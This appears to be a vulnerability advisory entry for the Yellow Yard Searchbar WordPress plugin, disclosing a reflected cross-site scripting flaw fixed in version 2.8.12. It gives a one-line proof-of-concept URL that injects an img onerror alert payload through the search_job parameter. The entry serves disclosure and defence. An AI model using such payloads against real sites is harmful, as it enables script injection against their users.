WordPress Plugin Vulnerabilities

Yellow Yard Searchbar < 2.8.12 - Reflected Cross-Site Scripting

Description

The plugin does not escape some URL parameters before outputting them back to the user, leading to Reflected Cross-Site Scripting

Proof of Concept

On a page where the yy_filter shortcode is embed, append /?search_job="><img+src%3Dx+onerror%3Djavascript%3Aalert%28%60HoiWPScan%60%29>

Affects Plugins

Fixed in 2.8.12

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Victor Pasman
Submitter
Victor Pasman
Verified
Yes

Timeline

Publicly Published
2022-07-01 (about 1 years ago)
Added
2022-07-01 (about 1 years ago)
Last Updated
2023-04-12 (about 1 years ago)

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